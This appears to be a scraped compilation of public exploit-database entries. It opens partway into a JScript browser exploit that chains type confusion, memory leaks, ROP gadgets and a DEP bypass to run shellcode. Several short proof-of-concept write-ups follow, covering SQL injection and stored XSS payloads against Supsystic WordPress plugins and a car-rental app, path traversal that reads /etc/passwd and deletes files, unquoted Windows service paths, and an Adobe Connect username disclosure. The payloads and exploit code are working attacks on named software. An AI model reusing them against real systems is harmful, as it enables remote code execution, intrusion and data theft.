        TargetNum = TargetNum >> 8;
        CmpNum = CmpNum >> 8;
    }
}

function DwordToUnicode(Dword) {
    var Unicode = String.fromCharCode(Dword & 0xFFFF);
    Unicode += String.fromCharCode(Dword >> 16);
    return Unicode;
}

function TableToUnicode(Table) {
    var Unicode = "";

    for (i = 0; i < Table.length; i++) {
        Unicode += DwordToUnicode(Table[i]);
    }

    return Unicode;
}

function ConvertDwordArrayToBytes(DwordArray) {
    var ByteArray = [];

    for (i = 0; i < DwordArray.length; i++) {
        ByteArray.push(DwordArray[i] & 0xffff);
        ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
    }

    return String.fromCharCode.apply(null, ByteArray);
}

function StrcmpLeak(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
    var TargetTableIndex = 0;

    while (TargetTableIndex < StrDwordTable.length) {
        var LeakStrWord = LeakWord(LeakAddress + (4 * TargetTableIndex));
        var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
        var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);

        DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16) + " original word " + LeakStrWord.toString(16));

        if(TableWord == SanitizedStrWord) {
            LeakStrWord = LeakWord((LeakAddress + (4 * TargetTableIndex) + 2));
            SanitizedStrWord = NullSanitizeWord(LeakStrWord);
            TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
            DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16));

            if(TableWord == SanitizedStrWord) {
                if((TargetTableIndex + 1) >= StrDwordTable.length) {
                    return true;
                }
                else {
                    DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10) + " DWORD array length is: " + StrDwordTable.length.toString(10));
                }

                TargetTableIndex++;
            }
            else {
                break;
            }
        }
        else {
            break;
        }
    }

    return false;
}

////////
////////
// Primary high level exploit logic
////////

function Exploit() {
    // Initialization

    StartTimer();
    for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method
    var LFHBlocks = new Array();

    // Trigger LFH for a size of 0x648

    for(i = 0; i < 50; i++) {
        Temp = new Object();
        Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes
        LFHBlocks.push(Temp);
    }

    EndTimer("LFH");

    // New set of untracked vars in freed GcBlock

    StartTimer();
    NewUntrackedVarSet(); // Consistently 460 total
    DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));

    // Re-claim with type confusion NameLists

    for(i = 0; i < NameListAnchorCount; i++) {
        NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
        NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
        NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
        NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
    }

    EndTimer("Infoleak VAR creation + re-claim");

    // Leak final VVAL address from one of the NameLists

	StartTimer();
    AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer
    EndTimer("Anchor backup");
    StartTimer();

    var LeakedVvalAddress = 0;

    for(i = 0; i < UntrackedVarSet.length; i++) {
        if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] > 0x1000) {
            LeakedVvalAddress = UntrackedVarSet[i];
            break;
        }
    }

    EndTimer("Infoleak VAR scan");
    DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16));

    if(LeakedVvalAddress != 0) {
        var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.

        for(i=0; i < 46; i++) {
            PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress, 0);
        }

        while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a

        // New set of untracked vars in freed GcBlock

        StartTimer();
        NewUntrackedVarSet();

        // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)

        for(i = 0; i < NameListAnchorCount; i++) {
            NameListAnchors[i][PrimaryVvalPropName] = 1;
        }

        EndTimer("Anchor index VAR creation + re-claim");
        StartTimer();

        // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR

        var LeakedVvalVar;

        for(i = 0; i < UntrackedVarSet.length; i++) {
            if(typeof UntrackedVarSet[i] === "number") {
                LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
                LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
                break;
            }
        }

        DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));

        // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)

        ReClaimIndexNameList(0x11, "A");

        if(LeakedVvalVar + "" == 0x11) {
            // Create the mutable variable which will be used throughout the remainder of the exploit

            EndTimer("Anchor index VAR scan");
            DebugLog("Leaked anchor object re-claim verification success");

            ReClaimIndexNameList(0, CreateVar32(0x3, 0x22, 0));

            var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.

            for(i=0; i < 46; i++) {
                PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct
            }

            while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a

            // New set of untracked vars in freed GcBlock

            StartTimer();
            NewUntrackedVarSet();

            // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)

            for(i = 0; i < NameListAnchorCount; i++) {
                NameListAnchors[i][PrimaryVvalPropName] = 1;
            }

            EndTimer("Mutable VAR reference creation + re-claim");
            StartTimer();

            for(i = 0; i < UntrackedVarSet.length; i++) {
                if(typeof UntrackedVarSet[i] === "number") {
                    if(UntrackedVarSet[i] + "" == 0x22) {
                        MutableVar = UntrackedVarSet[i];
                        break;
                    }
                }
            }

            // Verify the mutable var can be changed via simple re-claim

            ReClaimIndexNameList(0, CreateVar32(0x3, 0x33, 0));

            if(MutableVar + "" == 0x33) {
                // Test arbitrary read primitive

                EndTimer("Mutable VAR reference scan");
                DebugLog("Verified mutable variable modification via re-claim");

                if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself.
                    // Derive jscript.dll base from leaked Object vtable

                    DebugLog("Memory leak test successful");
                    StartTimer();

                    var DissectedObj = new Object();
                    var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj);
                    var VtableAddress = LeakDword(ObjectAddress);

                    DebugLog("Leaked vtable address: " + VtableAddress.toString(16));

                    var JScriptBase = DiveModuleBase(VtableAddress);

                    if(JScriptBase != 0) {
                        // Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base

                        EndTimer("JScriptBase base leak");
                        DebugLog("Leaked JScript base address: " + JScriptBase.toString(16));

                        StartTimer();
                        var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, [0x4e52454b, 0x32334c45]);

                        if(Kernel32ImportX != 0) {
                            EndTimer("Kernel32 random import leak");
                            StartTimer();

                            var Kernel32Base = DiveModuleBase(Kernel32ImportX);

                            if(Kernel32Base != 0) {
                                EndTimer("Kernel32.dll base resolution");
                                DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16));
                                StartTimer();

                                // Obtain the address of NtProtoectVirtualMemry via the imports of Kernel32.dll (which always imported NtProtoectVirtualMemry from NTDLL.DLL). This can be expensive operation, thus a hint may be used to skip ahead to the correct IAT/INT index for NtProtoectVirtualMemry depending on the version of Kernel32.dll

                                var HintIndex = 141; // Windows 7 x64 - Wow64 Kernel32.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
                                var NtProtectAddress = ResolveImport(Kernel32Base, HintIndex, [0x6c64746e, 0x6c642e6c], [0x7250744e, 0x6365746f]); // 'rPtN' 'ceto'

                                if(NtProtectAddress != 0) {
                                    EndTimer("NtProtoectVirtualMemry resolution");
                                    DebugLog("Successfully resolved NtProtoectVirtualMemry address from kernel32.dll IAT: " + NtProtectAddress.toString(16));

                                    // Obtain a random MSVCRT.DLL import from Jscript.dll and use it to identify the base of MSVCRT.DLL: it is from MSVCRT.DLL that the ROP gadgets will be harvested

                                    StartTimer();
                                    var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, [0x6376736d, 0x642e7472]);
                                    var MsvcrtBase = DiveModuleBase(MsvcrtImportX);
                                    EndTimer("MsvcrtBase base leak");
                                    StartTimer();
                                    var RopGadgetSet = ResolveGadgetSet(MsvcrtBase);
                                    EndTimer("ROP gadget resolution");

                                    if(RopGadgetSet != null) {
                                        // NtProtoectVirtualMemry cannot/should not be used as the direct address for disabling DEP. EMET may have hooked it. Therefore, hunt for another syscall in NTDLL.DLL which has the same number of paraameters (same RETN value) as NtProtoectVirtualMemry and use it as a stub.

                                        StartTimer();
                                        var NtProtectProxyStubAddress = ResolveNtProtectProxyStub(NtProtectAddress, 0x100);
                                        EndTimer("NtProtoectVirtualMemry proxy stub resolution");

                                        if(NtProtectProxyStubAddress != 0) {
                                            // Convert the shellcode from a DWORD array into a BSTR and leak its address in memory.

                                            StartTimer();
                                            var ShellcodeStr = TableToUnicode(Shellcode);
                                            var ShellcodeLen = (ShellcodeStr.length * 2);
                                            DebugLog("Shellcode length: 0x" + ShellcodeLen.toString(16));
                                            ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
                                            var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr);
                                            DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16));

                                            // NtProtoectVirtualMemry has several parameters which are in/out pointers. Thus we must have a +RW region of memory whose contents we control and address we have leaked to carry these values.

                                            var WritableStr = "";
                                            WritableStr += ConvertDwordArrayToBytes([0]);
                                            WritableStr += ConvertDwordArrayToBytes([ShellcodeAddress]);
                                            WritableStr += ConvertDwordArrayToBytes([ShellcodeLen]);
                                            WritableStr += ConvertDwordArrayToBytes([0]);
                                            WritableStr = WritableStr.substr(0, WritableStr.length);
                                            var WritableAddress = LeakObjectAddress(LeakedVvalAddress, WritableStr);

                                            // Create the fake vtable for the mutable var. The Typeof method of this vtable is what will be used to trigger the EIP hijack. Since the vtable serves as dual-role as both a vtable and an artificial stack (after the stack pivot) extra space/padding is used to accomodate this (NtProtectVirtualMemory itself will require this space for its stack usage)

                                            var FakeVtablePaddingSize = 0x10000; // 64KB should be plenty to accomodate stack usage within NtProtectVirtualMemory and within shellcode (if it does not stack pivot on its own)
                                            var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectProxyStubAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs
                                            FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs

                                            // Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length

                                            var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize);
                                            EndTimer("Building shellcode, fake vtable, writable objects");
                                            DebugLog("Fake vtable address: " + FakeVtableAddress.toString(16));
                                            ReClaimIndexNameList(0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // VAR in VVAL will be a type 0x81 (not type 0x80) VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll
                                            DebugLog("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16));
                                            typeof MutableVar;
                                            DebugLog("Clean return from shellcode");
                                        }
                                        else {
                                            DebugLog("Failed to resolve NtProtoectVirtualMemry proxy stub via opcode scan");
                                        }
                                    }
                                    else {
                                        DebugLog("Fatal error: unable to dynamically resolve ROP gadget addresses");
                                    }
                                }
                                else {
                                    DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT");
                                }
                            }
                            else {
                                DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16));
                            }
                        }
                        else {
                            DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT");
                        }
                    }
                    else {
                        DebugLog("Failed to leak JScript.dll base address");
                    }
                }
                else {
                    DebugLog("Memory leak test failed");
                }
            }
            else {
                DebugLog("Failed to verify mutable variable modification via re-claim");
            }
        }
        else {
            DebugLog("Failed to extract final VVAL index via re-claim");
        }
    }
    else {
        DebugLog("Leaked anchor object type confusion re-claim failed");
    }
}

Exploit();

</script>
</head>
</html>
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection
# Date: 09/08/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip
# Version: 1.4.7
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2



# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 22/12 2020: Vulnerability fixed


# 1. Description

The GET parameters "search" and "sidx" does not sanitize user input when searching for badges.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for data and save it to request.txt
Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index

sqlmap -r request.txt --dbms=mysql -p search

Parameter: search (GET)
	Type: time-based blind
	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc

	Type: UNION query
	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x6569796370704c625352574e6e424874456a74457847635473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Digital Publications 1.6.9 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/digital-publications-by-supsystic.1.6.9.zip
# Version: 1.6.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 20/12 2020: Vulnerability fixed


##################################
	  Path Traversal and DoS
##################################


# 1. Description

The "Folder" tab under "Publications" is vulnerable to path traversal and exposes information not stored on the web server. The user can gain information regarding images stored in, for example, home directories. The vulnerable code is in the utils.php file, which uses readdir().


# 2. Proof of Concept (PoC)

Enter the payload into the "Folder" input field:
../../../../../../../../../home/erik

However, if the web server attempts to open a folder without read access, the function will run in an infinite loop. For example:
../../../../../../../../../root

The web server will execute the code in an infinite loop and store massive amounts of data in the error.log file until the hard drive is full. The import Folder feature does not work anymore after trying to open directories without read permission when using path traversal techniques. Apache error.log file output:

[Fri Jul 24 20:45:43.739704 2020] [:error] [pid 3516] [client 192.168.0.51:47892] PHP Warning:  readdir() expects parameter 1 to be resource, boolean given in /var/www/wordpress/wp-content/plugins/digital-publications-by-supsystic/classes/utils.php on line 137, referer: http://192.168.0.49/wp-admin/term.php?taxonomy=dps_book&tag_ID=16&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Ddps_book



##################################
			Stored XSS
##################################


# 1. Description

When adding a new publication under the section "Publications", all values such as Area Width, Publication Width and so on are vulnerable to stored XSS. It is possible to store code in all input fields as the code does not sanitize any user input.


# 2. Proof of Concept (PoC)

Enter the following payload into any input field: "><script>alert(1)</script><!--'
The payload is stored in the publication details and will be executed whenever the user views the "Publications" page or edits a publication.
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.7.5.zip
# Version: 1.7.5
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 10/12 2020: Vulnerability fixed


##################################
			   SQLi
##################################


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing contact forms.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing contact forms and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx --level=5

Parameter: sidx (GET)
	Type: boolean-based blind
	Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=(SELECT (CASE WHEN (9602=9602) THEN 0x6964 ELSE (SELECT 9695 UNION SELECT 1181) END))&sord=desc

	Type: time-based blind
	Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=id AND (SELECT 4102 FROM (SELECT(SLEEP(5)))vOKL)&sord=desc



##################################
			Stored XSS
##################################


# 1. Description

The "Edit name" and "Contact information" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms_edit&id=[FORM ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the "Show All Forms" section.
Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Data Tables Generator 1.9.96 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/data-tables-generator-by-supsystic.1.9.96.zip
# Category: Web Application
# Version: 1.9.96
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 08/12 2020: Vulnerability fixed


##################################
			   SQLi
##################################


# 1. Description

The POST parameter "data[search][text_like]" does not sanitize user input when searching for data.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for data and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables

sqlmap -r request.txt --dbms=mysql -p data[search][text_like]

Parameter: data[search][text_like] (POST)
	Type: time-based blind
	Payload: route[module]=tables&route[action]=getListForTbl&route[nonce]=5fc3d66b71&data[search][text_like]=t' AND (SELECT 4736 FROM (SELECT(SLEEP(5)))iAJy) AND 'iAVl'='iAVl&data[_search]=false&data[nd]=1595781752940&data[rows]=10&data[page]=1&data[sidx]=id&data[sord]=desc&action=supsystic-tables

	Type: UNION query
	Payload: route[module]=tables&route[action]=getListForTbl&route[nonce]=5fc3d66b71&data[search][text_like]=t' UNION ALL SELECT CONCAT(0x7170707871,0x487a436e5175474a64617446465349535248737249775445424671545a557367704b61424e6d6545,0x7178786b71),NULL-- -&data[_search]=false&data[nd]=1595781752940&data[rows]=10&data[page]=1&data[sidx]=id&data[sord]=desc&action=supsystic-tables



##################################
			Stored XSS
##################################


# 1. Description

The "Editor" tab under the "Tables" section is vulnerable to stored XSS. It is possible to store XSS in all input fields as the code does not sanitize any of the user input.


# 2. Proof of Concept (PoC)

Enter the following payload into any input field:	"><script>alert(1)</script><!--'
The payload is stored in the document and executes whenever a user visits the "Settings" tab or the document itself.
The document is also cached by the plugin. Therefore, the payload can also be executed by any unauthenticated user visting http://192.168.0.49/wp-content/uploads/supsystic-tables/cache/tables/[YOUR TABLE NUMBER]
HireHackking 
# Exploit Title: Online Car Rental System 1.0 - Stored Cross Site Scripting
# Date: 9/2/2021
# Exploit Author: Naved Shaikh
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
# Version:  V 1.0
# Tested on Windows 10, XAMPP

Steps:
1) Open http://localhost/car-rental/admin/post-avehical.php 

2) Fill All the details on the page. After submitting, capture the request and change the "vehicalorcview" parameter with our Payload "<script>alert("CAR")</script>" and submit

3) Open the http://localhost/car-rental/ and our Payload excuted.

Request
POST /car-rental/admin/post-avehical.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13786099262839578593645594965
Content-Length: 2724377
Origin: http://localhost
Connection: close
Referer: http://localhost/car-rental/admin/post-avehical.php
Cookie: PHPSESSID=h5ubatunno8u9130c4eq77anf2
Upgrade-Insecure-Requests: 1

-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicletitle"

TestName
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="brandname"

2
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="vehicalorcview"

<script>alert("CAR")</script>
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="priceperday"

200
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="fueltype"

Diesel
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="modelyear"

2008
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="seatingcapacity"

22
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img1"; filename="Untitled.png"
Content-Type: image/png

PNG

-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream


-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="powerdoorlocks"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="antilockbrakingsys"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="driverairbag"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="passengerairbag"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="centrallocking"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="crashcensor"

1
-----------------------------13786099262839578593645594965
Content-Disposition: form-data; name="submit"


-----------------------------13786099262839578593645594965--
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
# Version: 2.3.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply.
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).


# 2. Proof of Concept (PoC)

Create a backup. When downloading the backup, change its path:

GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd


The "Delete" tab also allows an attacker to delete files on the server:

POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup
HireHackking 
# Exploit Title: AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path
# Date: 2020-12-11
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: Anytxt.net
# Software Link: https://sourceforge.net/projects/anytxt/files/AnyTXT.Searcher.1.2.394.exe
# Version: Version 1.2.394
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc ATService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ATService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\AnyTXT Searcher\atservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyTXT Searcher Indexing Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>
HireHackking 
# Exploit Title: Epson USB Display 1.6.0.0 - 'EMP_UDSA' Unquoted Service Path
# Discovery by: Hector Gerbacio
# Discovery Date: 2021-02-05
# Vendor Homepage: https://epson.com.mx/
# Tested Version: 1.6.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 con Bing

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "EMP_UDSA" | findstr /i /v """
EMP_UDSA		EMP_UDSA		C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe			Auto

# Service info:

C:\>sc qc EMP_UDSA
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: EMP_UDSA
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : EMP_UDSA
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking 
# Title: Adobe Connect 10 - Username Disclosure
# Author: h4shur
# date:2021-02-07
# Vendor Homepage: https://www.adobe.com
# Software Link: https://www.adobe.com/products/adobeconnect.html
# Version:  10 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs

### Description :

By adding this (/system/help/support) to the end of the desired website address, you can view the username without any filter or obstacle. Sometimes even without a username and password. And by adding (/system/login) to the end of the desired website address, you can access the admin panel without any filters.

### POC :
site.com/system/help/support

### Admin Panel :
site.com/system/login
HireHackking 
# Exploit Title: b2evolution 6.11.6 - 'plugin name' Stored XSS
# Date: 09/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22841


--------------------------Proof of Concept-----------------------

1. Login with an account having high privileges  
2. Navigate to System -> Plugins and select any plugin
3. Change the plugin name and enter the following payload  "><svg/onload=alert(123)> in the name parameter
4. Payload gets stored in the database
5. The payload gets executed after the victim checks the plugin page.
6. This vulnerability needs high privilege and can affect other users with similar privileges